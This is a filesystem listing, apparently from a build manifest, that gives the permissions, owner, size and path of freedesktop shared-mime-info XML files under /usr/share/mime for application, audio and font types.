+-rw-r--r-- root root 2974 ./usr/share/mime/application/vnd.oasis.opendocument.presentation-template.xml
+-rw-r--r-- root root 3204 ./usr/share/mime/application/vnd.oasis.opendocument.presentation.xml
+-rw-r--r-- root root 3506 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet-flat-xml.xml
+-rw-r--r-- root root 2970 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet-template.xml
+-rw-r--r-- root root 3226 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet.xml
+-rw-r--r-- root root 3352 ./usr/share/mime/application/vnd.oasis.opendocument.text-flat-xml.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/application/vnd.oasis.opendocument.text-master.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/vnd.oasis.opendocument.text-template.xml
+-rw-r--r-- root root 2925 ./usr/share/mime/application/vnd.oasis.opendocument.text-web.xml
+-rw-r--r-- root root 3024 ./usr/share/mime/application/vnd.oasis.opendocument.text.xml
+-rw-r--r-- root root 3524 ./usr/share/mime/application/vnd.openofficeorg.extension.xml
+-rw-r--r-- root root 3394 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.presentation.xml
+-rw-r--r-- root root 3257 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.slideshow.xml
+-rw-r--r-- root root 2932 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.slide.xml
+-rw-r--r-- root root 3563 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.template.xml
+-rw-r--r-- root root 3250 ./usr/share/mime/application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.xml
+-rw-r--r-- root root 3378 ./usr/share/mime/application/vnd.openxmlformats-officedocument.spreadsheetml.template.xml
+-rw-r--r-- root root 2957 ./usr/share/mime/application/vnd.openxmlformats-officedocument.wordprocessingml.document.xml
+-rw-r--r-- root root 3210 ./usr/share/mime/application/vnd.openxmlformats-officedocument.wordprocessingml.template.xml
+-rw-r--r-- root root 3457 ./usr/share/mime/application/vnd.palm.xml
+-rw-r--r-- root root 2983 ./usr/share/mime/application/vnd.rar.xml
+-rw-r--r-- root root 3320 ./usr/share/mime/application/vnd.rn-realmedia.xml
+-rw-r--r-- root root 1759 ./usr/share/mime/application/vnd.snap.xml
+-rw-r--r-- root root 3196 ./usr/share/mime/application/vnd.sqlite3.xml
+-rw-r--r-- root root 1139 ./usr/share/mime/application/vnd.squashfs.xml
+-rw-r--r-- root root 3467 ./usr/share/mime/application/vnd.stardivision.calc.xml
+-rw-r--r-- root root 3228 ./usr/share/mime/application/vnd.stardivision.chart.xml
+-rw-r--r-- root root 3156 ./usr/share/mime/application/vnd.stardivision.draw.xml
+-rw-r--r-- root root 3619 ./usr/share/mime/application/vnd.stardivision.impress.xml
+-rw-r--r-- root root 3181 ./usr/share/mime/application/vnd.stardivision.mail.xml
+-rw-r--r-- root root 3090 ./usr/share/mime/application/vnd.stardivision.math.xml
+-rw-r--r-- root root 3489 ./usr/share/mime/application/vnd.stardivision.writer.xml
+-rw-r--r-- root root 3534 ./usr/share/mime/application/vnd.sun.xml.calc.template.xml
+-rw-r--r-- root root 3762 ./usr/share/mime/application/vnd.sun.xml.calc.xml
+-rw-r--r-- root root 3513 ./usr/share/mime/application/vnd.sun.xml.draw.template.xml
+-rw-r--r-- root root 3438 ./usr/share/mime/application/vnd.sun.xml.draw.xml
+-rw-r--r-- root root 3704 ./usr/share/mime/application/vnd.sun.xml.impress.template.xml
+-rw-r--r-- root root 4000 ./usr/share/mime/application/vnd.sun.xml.impress.xml
+-rw-r--r-- root root 3488 ./usr/share/mime/application/vnd.sun.xml.math.xml
+-rw-r--r-- root root 4341 ./usr/share/mime/application/vnd.sun.xml.writer.global.xml
+-rw-r--r-- root root 3819 ./usr/share/mime/application/vnd.sun.xml.writer.template.xml
+-rw-r--r-- root root 3800 ./usr/share/mime/application/vnd.sun.xml.writer.xml
+-rw-r--r-- root root 2835 ./usr/share/mime/application/vnd.symbian.install.xml
+-rw-r--r-- root root 1126 ./usr/share/mime/application/vnd.tcpdump.pcap.xml
+-rw-r--r-- root root 3046 ./usr/share/mime/application/vnd.visio.xml
+-rw-r--r-- root root 3633 ./usr/share/mime/application/vnd.wordperfect.xml
+-rw-r--r-- root root 1189 ./usr/share/mime/application/vnd.youtube.yt.xml
+-rw-r--r-- root root 2575 ./usr/share/mime/application/winhlp.xml
+-rw-r--r-- root root 2942 ./usr/share/mime/application/x-7z-compressed.xml
+-rw-r--r-- root root 3303 ./usr/share/mime/application/x-abiword.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-ace.xml
+-rw-r--r-- root root 2890 ./usr/share/mime/application/x-alz.xml
+-rw-r--r-- root root 2185 ./usr/share/mime/application/x-amiga-disk-format.xml
+-rw-r--r-- root root 3479 ./usr/share/mime/application/x-amipro.xml
+-rw-r--r-- root root 3122 ./usr/share/mime/application/x-aportisdoc.xml
+-rw-r--r-- root root 2699 ./usr/share/mime/application/x-apple-diskimage.xml
+-rw-r--r-- root root 346 ./usr/share/mime/application/x-appleworks-document.xml
+-rw-r--r-- root root 3940 ./usr/share/mime/application/x-applix-spreadsheet.xml
+-rw-r--r-- root root 3574 ./usr/share/mime/application/x-applix-word.xml
+-rw-r--r-- root root 2804 ./usr/share/mime/application/x-archive.xml
+-rw-r--r-- root root 2759 ./usr/share/mime/application/x-arc.xml
+-rw-r--r-- root root 3010 ./usr/share/mime/application/x-arj.xml
+-rw-r--r-- root root 2899 ./usr/share/mime/application/x-asp.xml
+-rw-r--r-- root root 1019 ./usr/share/mime/application/x-atari-2600-rom.xml
+-rw-r--r-- root root 1019 ./usr/share/mime/application/x-atari-7800-rom.xml
+-rw-r--r-- root root 1021 ./usr/share/mime/application/x-atari-lynx-rom.xml
+-rw-r--r-- root root 3084 ./usr/share/mime/application/x-awk.xml
+-rw-r--r-- root root 3225 ./usr/share/mime/application/x-bcpio.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/x-bittorrent.xml
+-rw-r--r-- root root 3102 ./usr/share/mime/application/x-blender.xml
+-rw-r--r-- root root 2357 ./usr/share/mime/application/x-bsdiff.xml
+-rw-r--r-- root root 4099 ./usr/share/mime/application/x-bzdvi.xml
+-rw-r--r-- root root 3945 ./usr/share/mime/application/x-bzip-compressed-tar.xml
+-rw-r--r-- root root 2986 ./usr/share/mime/application/x-bzip.xml
+-rw-r--r-- root root 3880 ./usr/share/mime/application/x-bzpdf.xml
+-rw-r--r-- root root 4236 ./usr/share/mime/application/x-bzpostscript.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/application/x-cb7.xml
+-rw-r--r-- root root 3180 ./usr/share/mime/application/x-cbt.xml
+-rw-r--r-- root root 2858 ./usr/share/mime/application/x-ccmx.xml
+-rw-r--r-- root root 3292 ./usr/share/mime/application/x-cd-image.xml
+-rw-r--r-- root root 3136 ./usr/share/mime/application/x-cdrdao-toc.xml
+-rw-r--r-- root root 1099 ./usr/share/mime/application/x-cisco-vpn-settings.xml
+-rw-r--r-- root root 3042 ./usr/share/mime/application/x-class-file.xml
+-rw-r--r-- root root 3786 ./usr/share/mime/application/x-compressed-tar.xml
+-rw-r--r-- root root 3414 ./usr/share/mime/application/x-compress.xml
+-rw-r--r-- root root 3630 ./usr/share/mime/application/x-core.xml
+-rw-r--r-- root root 4192 ./usr/share/mime/application/x-cpio-compressed.xml
+-rw-r--r-- root root 3028 ./usr/share/mime/application/x-cpio.xml
+-rw-r--r-- root root 3273 ./usr/share/mime/application/x-csh.xml
+-rw-r--r-- root root 3240 ./usr/share/mime/application/x-cue.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-dar.xml
+-rw-r--r-- root root 3031 ./usr/share/mime/application/x-dbf.xml
+-rw-r--r-- root root 1136 ./usr/share/mime/application/x-dc-rom.xml
+-rw-r--r-- root root 1241 ./usr/share/mime/application/x-designer.xml
+-rw-r--r-- root root 3922 ./usr/share/mime/application/x-desktop.xml
+-rw-r--r-- root root 3052 ./usr/share/mime/application/x-dia-diagram.xml
+-rw-r--r-- root root 2405 ./usr/share/mime/application/x-dia-shape.xml
+-rw-r--r-- root root 3273 ./usr/share/mime/application/x-docbook+xml.xml
+-rw-r--r-- root root 1051 ./usr/share/mime/application/x-doom-wad.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/application/x-dvi.xml
+-rw-r--r-- root root 3473 ./usr/share/mime/application/x-egon.xml
+-rw-r--r-- root root 3341 ./usr/share/mime/application/x-e-theme.xml
+-rw-r--r-- root root 2837 ./usr/share/mime/application/x-executable.xml
+-rw-r--r-- root root 2172 ./usr/share/mime/application/x-fds-disk.xml
+-rw-r--r-- root root 3142 ./usr/share/mime/application/x-fictionbook+xml.xml
+-rw-r--r-- root root 3137 ./usr/share/mime/application/x-fluid.xml
+-rw-r--r-- root root 3465 ./usr/share/mime/application/x-font-afm.xml
+-rw-r--r-- root root 2866 ./usr/share/mime/application/x-font-bdf.xml
+-rw-r--r-- root root 2854 ./usr/share/mime/application/x-font-dos.xml
+-rw-r--r-- root root 3612 ./usr/share/mime/application/x-font-framemaker.xml
+-rw-r--r-- root root 3018 ./usr/share/mime/application/x-font-libgrx.xml
+-rw-r--r-- root root 3800 ./usr/share/mime/application/x-font-linux-psf.xml
+-rw-r--r-- root root 2918 ./usr/share/mime/application/x-font-pcf.xml
+-rw-r--r-- root root 3031 ./usr/share/mime/application/x-font-speedo.xml
+-rw-r--r-- root root 3244 ./usr/share/mime/application/x-font-sunos-news.xml
+-rw-r--r-- root root 3352 ./usr/share/mime/application/x-font-tex-tfm.xml
+-rw-r--r-- root root 2839 ./usr/share/mime/application/x-font-tex.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/application/x-font-ttx.xml
+-rw-r--r-- root root 2200 ./usr/share/mime/application/x-font-type1.xml
+-rw-r--r-- root root 2741 ./usr/share/mime/application/x-font-vfont.xml
+-rw-r--r-- root root 1959 ./usr/share/mime/application/x-gameboy-color-rom.xml
+-rw-r--r-- root root 2895 ./usr/share/mime/application/x-gameboy-rom.xml
+-rw-r--r-- root root 2521 ./usr/share/mime/application/x-gamecube-rom.xml
+-rw-r--r-- root root 1722 ./usr/share/mime/application/x-gamegear-rom.xml
+-rw-r--r-- root root 3217 ./usr/share/mime/application/x-gba-rom.xml
+-rw-r--r-- root root 3125 ./usr/share/mime/application/x-gdbm.xml
+-rw-r--r-- root root 3528 ./usr/share/mime/application/x-gedcom.xml
+-rw-r--r-- root root 1892 ./usr/share/mime/application/x-genesis-32x-rom.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/application/x-genesis-rom.xml
+-rw-r--r-- root root 4594 ./usr/share/mime/application/x-gettext-translation.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/application/x-glade.xml
+-rw-r--r-- root root 3208 ./usr/share/mime/application/x-gnucash.xml
+-rw-r--r-- root root 3362 ./usr/share/mime/application/x-gnumeric.xml
+-rw-r--r-- root root 3130 ./usr/share/mime/application/x-gnuplot.xml
+-rw-r--r-- root root 2839 ./usr/share/mime/application/x-go-sgf.xml
+-rw-r--r-- root root 3559 ./usr/share/mime/application/x-graphite.xml
+-rw-r--r-- root root 1253 ./usr/share/mime/application/x-gtk-builder.xml
+-rw-r--r-- root root 3098 ./usr/share/mime/application/x-gtktalog.xml
+-rw-r--r-- root root 4096 ./usr/share/mime/application/x-gzdvi.xml
+-rw-r--r-- root root 4598 ./usr/share/mime/application/x-gz-font-linux-psf.xml
+-rw-r--r-- root root 3871 ./usr/share/mime/application/x-gzpdf.xml
+-rw-r--r-- root root 4380 ./usr/share/mime/application/x-gzpostscript.xml
+-rw-r--r-- root root 3146 ./usr/share/mime/application/x-hdf.xml
+-rw-r--r-- root root 2102 ./usr/share/mime/application/x-hfe-floppy-image.xml
+-rw-r--r-- root root 3048 ./usr/share/mime/application/xhtml+xml.xml
+-rw-r--r-- root root 3437 ./usr/share/mime/application/x-hwp.xml
+-rw-r--r-- root root 3922 ./usr/share/mime/application/x-hwt.xml
+-rw-r--r-- root root 3805 ./usr/share/mime/application/x-ica.xml
+-rw-r--r-- root root 2088 ./usr/share/mime/application/x-iff.xml
+-rw-r--r-- root root 2959 ./usr/share/mime/application/x-ipod-firmware.xml
+-rw-r--r-- root root 1098 ./usr/share/mime/application/x-ipynb+json.xml
+-rw-r--r-- root root 2355 ./usr/share/mime/application/x-iso9660-appimage.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/application/x-it87.xml
+-rw-r--r-- root root 2779 ./usr/share/mime/application/x-iwork-keynote-sffkey.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/x-java-archive.xml
+-rw-r--r-- root root 3006 ./usr/share/mime/application/x-java-jce-keystore.xml
+-rw-r--r-- root root 2826 ./usr/share/mime/application/x-java-jnlp-file.xml
+-rw-r--r-- root root 2810 ./usr/share/mime/application/x-java-keystore.xml
+-rw-r--r-- root root 3097 ./usr/share/mime/application/x-java-pack200.xml
+-rw-r--r-- root root 2902 ./usr/share/mime/application/x-java.xml
+-rw-r--r-- root root 3090 ./usr/share/mime/application/x-jbuilder-project.xml
+-rw-r--r-- root root 3023 ./usr/share/mime/application/x-karbon.xml
+-rw-r--r-- root root 2961 ./usr/share/mime/application/x-kchart.xml
+-rw-r--r-- root root 985 ./usr/share/mime/application/x-kexi-connectiondata.xml
+-rw-r--r-- root root 963 ./usr/share/mime/application/x-kexiproject-shortcut.xml
+-rw-r--r-- root root 1139 ./usr/share/mime/application/x-kexiproject-sqlite2.xml
+-rw-r--r-- root root 1235 ./usr/share/mime/application/x-kexiproject-sqlite3.xml
+-rw-r--r-- root root 3059 ./usr/share/mime/application/x-kformula.xml
+-rw-r--r-- root root 3235 ./usr/share/mime/application/x-killustrator.xml
+-rw-r--r-- root root 3186 ./usr/share/mime/application/x-kivio.xml
+-rw-r--r-- root root 2970 ./usr/share/mime/application/x-kontour.xml
+-rw-r--r-- root root 3112 ./usr/share/mime/application/x-kpovmodeler.xml
+-rw-r--r-- root root 3446 ./usr/share/mime/application/x-kpresenter.xml
+-rw-r--r-- root root 2978 ./usr/share/mime/application/x-krita.xml
+-rw-r--r-- root root 3981 ./usr/share/mime/application/x-kspread-crypt.xml
+-rw-r--r-- root root 3288 ./usr/share/mime/application/x-kspread.xml
+-rw-r--r-- root root 3087 ./usr/share/mime/application/x-ksysv-package.xml
+-rw-r--r-- root root 2981 ./usr/share/mime/application/x-kugar.xml
+-rw-r--r-- root root 3680 ./usr/share/mime/application/x-kword-crypt.xml
+-rw-r--r-- root root 3054 ./usr/share/mime/application/x-kword.xml
+-rw-r--r-- root root 2937 ./usr/share/mime/application/x-lha.xml
+-rw-r--r-- root root 2788 ./usr/share/mime/application/x-lhz.xml
+-rw-r--r-- root root 3529 ./usr/share/mime/application/xliff+xml.xml
+-rw-r--r-- root root 3509 ./usr/share/mime/application/x-lrzip-compressed-tar.xml
+-rw-r--r-- root root 2586 ./usr/share/mime/application/x-lrzip.xml
+-rw-r--r-- root root 2932 ./usr/share/mime/application/x-lyx.xml
+-rw-r--r-- root root 2407 ./usr/share/mime/application/x-lz4-compressed-tar.xml
+-rw-r--r-- root root 2047 ./usr/share/mime/application/x-lz4.xml
+-rw-r--r-- root root 2439 ./usr/share/mime/application/x-lzip-compressed-tar.xml
+-rw-r--r-- root root 2538 ./usr/share/mime/application/x-lzip.xml
+-rw-r--r-- root root 3787 ./usr/share/mime/application/x-lzma-compressed-tar.xml
+-rw-r--r-- root root 2879 ./usr/share/mime/application/x-lzma.xml
+-rw-r--r-- root root 2858 ./usr/share/mime/application/x-lzop.xml
+-rw-r--r-- root root 2450 ./usr/share/mime/application/x-lzpdf.xml
+-rw-r--r-- root root 2573 ./usr/share/mime/application/x-m4.xml
+-rw-r--r-- root root 3552 ./usr/share/mime/application/x-macbinary.xml
+-rw-r--r-- root root 3595 ./usr/share/mime/application/x-magicpoint.xml
+-rw-r--r-- root root 3076 ./usr/share/mime/application/x-markaby.xml
+-rw-r--r-- root root 2865 ./usr/share/mime/application/x-matroska.xml
+-rw-r--r-- root root 3816 ./usr/share/mime/application/x-mif.xml
+-rw-r--r-- root root 2522 ./usr/share/mime/application/x-mimearchive.xml
+-rw-r--r-- root root 2842 ./usr/share/mime/application/xml-dtd.xml
+-rw-r--r-- root root 3524 ./usr/share/mime/application/xml-external-parsed-entity.xml
+-rw-r--r-- root root 3038 ./usr/share/mime/application/xml.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/application/x-mobipocket-ebook.xml
+-rw-r--r-- root root 3272 ./usr/share/mime/application/x-mozilla-bookmarks.xml
+-rw-r--r-- root root 3670 ./usr/share/mime/application/x-ms-dos-executable.xml
+-rw-r--r-- root root 3395 ./usr/share/mime/application/x-msi.xml
+-rw-r--r-- root root 1046 ./usr/share/mime/application/x-ms-wim.xml
+-rw-r--r-- root root 3069 ./usr/share/mime/application/x-mswinurl.xml
+-rw-r--r-- root root 2816 ./usr/share/mime/application/x-mswrite.xml
+-rw-r--r-- root root 2631 ./usr/share/mime/application/x-msx-rom.xml
+-rw-r--r-- root root 2950 ./usr/share/mime/application/x-n64-rom.xml
+-rw-r--r-- root root 3171 ./usr/share/mime/application/x-nautilus-link.xml
+-rw-r--r-- root root 3348 ./usr/share/mime/application/x-navi-animation.xml
+-rw-r--r-- root root 1852 ./usr/share/mime/application/x-neo-geo-pocket-color-rom.xml
+-rw-r--r-- root root 1874 ./usr/share/mime/application/x-neo-geo-pocket-rom.xml
+-rw-r--r-- root root 2681 ./usr/share/mime/application/x-nes-rom.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/x-netcdf.xml
+-rw-r--r-- root root 3587 ./usr/share/mime/application/x-netshow-channel.xml
+-rw-r--r-- root root 2904 ./usr/share/mime/application/x-nintendo-ds-rom.xml
+-rw-r--r-- root root 2651 ./usr/share/mime/application/x-nzb.xml
+-rw-r--r-- root root 2816 ./usr/share/mime/application/x-object.xml
+-rw-r--r-- root root 3410 ./usr/share/mime/application/x-oleo.xml
+-rw-r--r-- root root 3999 ./usr/share/mime/application/x-ole-storage.xml
+-rw-r--r-- root root 1221 ./usr/share/mime/application/x-pagemaker.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-pak.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/application/x-par2.xml
+-rw-r--r-- root root 2817 ./usr/share/mime/application/x-partial-download.xml
+-rw-r--r-- root root 2149 ./usr/share/mime/application/x-pc-engine-rom.xml
+-rw-r--r-- root root 3072 ./usr/share/mime/application/x-pef-executable.xml
+-rw-r--r-- root root 3209 ./usr/share/mime/application/x-perl.xml
+-rw-r--r-- root root 3050 ./usr/share/mime/application/x-php.xml
+-rw-r--r-- root root 3264 ./usr/share/mime/application/x-pkcs7-certificates.xml
+-rw-r--r-- root root 3383 ./usr/share/mime/application/x-planperfect.xml
+-rw-r--r-- root root 2969 ./usr/share/mime/application/x-pocket-word.xml
+-rw-r--r-- root root 3489 ./usr/share/mime/application/x-profile.xml
+-rw-r--r-- root root 3521 ./usr/share/mime/application/x-pw.xml
+-rw-r--r-- root root 3180 ./usr/share/mime/application/x-python-bytecode.xml
+-rw-r--r-- root root 407 ./usr/share/mime/application/x-qemu-disk.xml
+-rw-r--r-- root root 2164 ./usr/share/mime/application/x-qpress.xml
+-rw-r--r-- root root 2458 ./usr/share/mime/application/x-qtiplot.xml
+-rw-r--r-- root root 3546 ./usr/share/mime/application/x-quattropro.xml
+-rw-r--r-- root root 1258 ./usr/share/mime/application/x-quicktime-media-link.xml
+-rw-r--r-- root root 3189 ./usr/share/mime/application/x-qw.xml
+-rw-r--r-- root root 2444 ./usr/share/mime/application/x-raw-disk-image.xml
+-rw-r--r-- root root 3223 ./usr/share/mime/application/x-raw-disk-image-xz-compressed.xml
+-rw-r--r-- root root 1828 ./usr/share/mime/application/x-raw-floppy-disk-image.xml
+-rw-r--r-- root root 2067 ./usr/share/mime/application/x-riff.xml
+-rw-r--r-- root root 2780 ./usr/share/mime/application/x-rpm.xml
+-rw-r--r-- root root 2941 ./usr/share/mime/application/x-ruby.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/application/x-sami.xml
+-rw-r--r-- root root 2519 ./usr/share/mime/application/x-saturn-rom.xml
+-rw-r--r-- root root 3354 ./usr/share/mime/application/x-sc.xml
+-rw-r--r-- root root 2140 ./usr/share/mime/application/x-sega-cd-rom.xml
+-rw-r--r-- root root 1752 ./usr/share/mime/application/x-sega-pico-rom.xml
+-rw-r--r-- root root 1656 ./usr/share/mime/application/x-sg1000-rom.xml
+-rw-r--r-- root root 3576 ./usr/share/mime/application/x-shared-library-la.xml
+-rw-r--r-- root root 3341 ./usr/share/mime/application/x-sharedlib.xml
+-rw-r--r-- root root 3018 ./usr/share/mime/application/x-shar.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/application/x-shellscript.xml
+-rw-r--r-- root root 2898 ./usr/share/mime/application/x-shorten.xml
+-rw-r--r-- root root 3125 ./usr/share/mime/application/x-siag.xml
+-rw-r--r-- root root 3067 ./usr/share/mime/application/x-slp.xml
+-rw-r--r-- root root 3271 ./usr/share/mime/application/xslt+xml.xml
+-rw-r--r-- root root 2868 ./usr/share/mime/application/x-smaf.xml
+-rw-r--r-- root root 1828 ./usr/share/mime/application/x-sms-rom.xml
+-rw-r--r-- root root 2563 ./usr/share/mime/application/x-source-rpm.xml
+-rw-r--r-- root root 3445 ./usr/share/mime/application/xspf+xml.xml
+-rw-r--r-- root root 1201 ./usr/share/mime/application/x-spss-por.xml
+-rw-r--r-- root root 1181 ./usr/share/mime/application/x-spss-sav.xml
+-rw-r--r-- root root 3154 ./usr/share/mime/application/x-sqlite2.xml
+-rw-r--r-- root root 3027 ./usr/share/mime/application/x-stuffit.xml
+-rw-r--r-- root root 3069 ./usr/share/mime/application/x-subrip.xml
+-rw-r--r-- root root 3146 ./usr/share/mime/application/x-sv4cpio.xml
+-rw-r--r-- root root 3637 ./usr/share/mime/application/x-sv4crc.xml
+-rw-r--r-- root root 2862 ./usr/share/mime/application/x-t602.xml
+-rw-r--r-- root root 2908 ./usr/share/mime/application/x-tar.xml
+-rw-r--r-- root root 3451 ./usr/share/mime/application/x-tarz.xml
+-rw-r--r-- root root 3391 ./usr/share/mime/application/x-tex-gf.xml
+-rw-r--r-- root root 3527 ./usr/share/mime/application/x-tex-pk.xml
+-rw-r--r-- root root 2916 ./usr/share/mime/application/x-tgif.xml
+-rw-r--r-- root root 2604 ./usr/share/mime/application/x-theme.xml
+-rw-r--r-- root root 2013 ./usr/share/mime/application/x-thomson-cartridge-memo7.xml
+-rw-r--r-- root root 1776 ./usr/share/mime/application/x-thomson-cassette.xml
+-rw-r--r-- root root 2342 ./usr/share/mime/application/x-thomson-sap-image.xml
+-rw-r--r-- root root 3216 ./usr/share/mime/application/x-toutdoux.xml
+-rw-r--r-- root root 3148 ./usr/share/mime/application/x-trash.xml
+-rw-r--r-- root root 3887 ./usr/share/mime/application/x-troff-man-compressed.xml
+-rw-r--r-- root root 2521 ./usr/share/mime/application/x-troff-man.xml
+-rw-r--r-- root root 3731 ./usr/share/mime/application/x-tzo.xml
+-rw-r--r-- root root 3110 ./usr/share/mime/application/x-ufraw.xml
+-rw-r--r-- root root 2836 ./usr/share/mime/application/x-ustar.xml
+-rw-r--r-- root root 1666 ./usr/share/mime/application/x-virtual-boy-rom.xml
+-rw-r--r-- root root 3242 ./usr/share/mime/application/x-wais-source.xml
+-rw-r--r-- root root 2456 ./usr/share/mime/application/x-wii-rom.xml
+-rw-r--r-- root root 1998 ./usr/share/mime/application/x-wii-wad.xml
+-rw-r--r-- root root 3595 ./usr/share/mime/application/x-windows-themepack.xml
+-rw-r--r-- root root 1989 ./usr/share/mime/application/x-wonderswan-color-rom.xml
+-rw-r--r-- root root 1825 ./usr/share/mime/application/x-wonderswan-rom.xml
+-rw-r--r-- root root 3782 ./usr/share/mime/application/x-wpg.xml
+-rw-r--r-- root root 2498 ./usr/share/mime/application/x-wwf.xml
+-rw-r--r-- root root 4757 ./usr/share/mime/application/x-x509-ca-cert.xml
+-rw-r--r-- root root 1890 ./usr/share/mime/application/x-xar.xml
+-rw-r--r-- root root 3167 ./usr/share/mime/application/x-xbel.xml
+-rw-r--r-- root root 3294 ./usr/share/mime/application/x-xpinstall.xml
+-rw-r--r-- root root 3373 ./usr/share/mime/application/x-xz-compressed-tar.xml
+-rw-r--r-- root root 3269 ./usr/share/mime/application/x-xzpdf.xml
+-rw-r--r-- root root 2449 ./usr/share/mime/application/x-xz.xml
+-rw-r--r-- root root 2822 ./usr/share/mime/application/x-yaml.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/application/x-zerosize.xml
+-rw-r--r-- root root 2912 ./usr/share/mime/application/x-zip-compressed-fb2.xml
+-rw-r--r-- root root 2818 ./usr/share/mime/application/x-zoo.xml
+-rw-r--r-- root root 1995 ./usr/share/mime/application/x-zstd-compressed-tar.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/application/zip.xml
+-rw-r--r-- root root 2084 ./usr/share/mime/application/zlib.xml
+-rw-r--r-- root root 1464 ./usr/share/mime/application/zstd.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/audio
+-rw-r--r-- root root 2202 ./usr/share/mime/audio/aac.xml
+-rw-r--r-- root root 3368 ./usr/share/mime/audio/ac3.xml
+-rw-r--r-- root root 2944 ./usr/share/mime/audio/amr-wb.xml
+-rw-r--r-- root root 2771 ./usr/share/mime/audio/amr.xml
+-rw-r--r-- root root 1023 ./usr/share/mime/audio/annodex.xml
+-rw-r--r-- root root 3151 ./usr/share/mime/audio/basic.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/audio/flac.xml
+-rw-r--r-- root root 2876 ./usr/share/mime/audio/midi.xml
+-rw-r--r-- root root 2623 ./usr/share/mime/audio/mp2.xml
+-rw-r--r-- root root 2884 ./usr/share/mime/audio/mp4.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/audio/mpeg.xml
+-rw-r--r-- root root 1008 ./usr/share/mime/audio/ogg.xml
+-rw-r--r-- root root 3220 ./usr/share/mime/audio/prs.sid.xml
+-rw-r--r-- root root 1610 ./usr/share/mime/audio/usac.xml
+-rw-r--r-- root root 2180 ./usr/share/mime/audio/vnd.dts.hd.xml
+-rw-r--r-- root root 2055 ./usr/share/mime/audio/vnd.dts.xml
+-rw-r--r-- root root 3202 ./usr/share/mime/audio/vnd.rn-realaudio.xml
+-rw-r--r-- root root 2422 ./usr/share/mime/audio/webm.xml
+-rw-r--r-- root root 2713 ./usr/share/mime/audio/x-adpcm.xml
+-rw-r--r-- root root 3066 ./usr/share/mime/audio/x-aifc.xml
+-rw-r--r-- root root 3573 ./usr/share/mime/audio/x-aiff.xml
+-rw-r--r-- root root 2766 ./usr/share/mime/audio/x-amzxml.xml
+-rw-r--r-- root root 2758 ./usr/share/mime/audio/x-ape.xml
+-rw-r--r-- root root 2958 ./usr/share/mime/audio/x-flac+ogg.xml
+-rw-r--r-- root root 2864 ./usr/share/mime/audio/x-gsm.xml
+-rw-r--r-- root root 1076 ./usr/share/mime/audio/x-iriver-pla.xml
+-rw-r--r-- root root 3344 ./usr/share/mime/audio/x-it.xml
+-rw-r--r-- root root 3184 ./usr/share/mime/audio/x-m4b.xml
+-rw-r--r-- root root 1002 ./usr/share/mime/audio/x-m4r.xml
+-rw-r--r-- root root 2979 ./usr/share/mime/audio/x-matroska.xml
+-rw-r--r-- root root 3017 ./usr/share/mime/audio/x-minipsf.xml
+-rw-r--r-- root root 3256 ./usr/share/mime/audio/x-mo3.xml
+-rw-r--r-- root root 3640 ./usr/share/mime/audio/x-mod.xml
+-rw-r--r-- root root 3601 ./usr/share/mime/audio/x-mpegurl.xml
+-rw-r--r-- root root 3833 ./usr/share/mime/audio/x-ms-asx.xml
+-rw-r--r-- root root 3148 ./usr/share/mime/audio/x-ms-wma.xml
+-rw-r--r-- root root 2864 ./usr/share/mime/audio/x-musepack.xml
+-rw-r--r-- root root 2000 ./usr/share/mime/audio/x-opus+ogg.xml
+-rw-r--r-- root root 1778 ./usr/share/mime/audio/x-pn-audibleaudio.xml
+-rw-r--r-- root root 3385 ./usr/share/mime/audio/x-psflib.xml
+-rw-r--r-- root root 2682 ./usr/share/mime/audio/x-psf.xml
+-rw-r--r-- root root 2764 ./usr/share/mime/audio/x-riff.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/audio/x-s3m.xml
+-rw-r--r-- root root 3693 ./usr/share/mime/audio/x-scpls.xml
+-rw-r--r-- root root 2976 ./usr/share/mime/audio/x-speex+ogg.xml
+-rw-r--r-- root root 2656 ./usr/share/mime/audio/x-speex.xml
+-rw-r--r-- root root 3290 ./usr/share/mime/audio/x-stm.xml
+-rw-r--r-- root root 2930 ./usr/share/mime/audio/x-tta.xml
+-rw-r--r-- root root 2737 ./usr/share/mime/audio/x-voc.xml
+-rw-r--r-- root root 3311 ./usr/share/mime/audio/x-vorbis+ogg.xml
+-rw-r--r-- root root 3641 ./usr/share/mime/audio/x-wavpack-correction.xml
+-rw-r--r-- root root 2833 ./usr/share/mime/audio/x-wavpack.xml
+-rw-r--r-- root root 2795 ./usr/share/mime/audio/x-wav.xml
+-rw-r--r-- root root 3518 ./usr/share/mime/audio/x-xi.xml
+-rw-r--r-- root root 2751 ./usr/share/mime/audio/x-xmf.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/audio/x-xm.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/font
+-rw-r--r-- root root 1752 ./usr/share/mime/font/collection.xml
+-rw-r--r-- root root 3213 ./usr/share/mime/font/otf.xml
+-rw-r--r-- root root 3063 ./usr/share/mime/font/ttf.xml
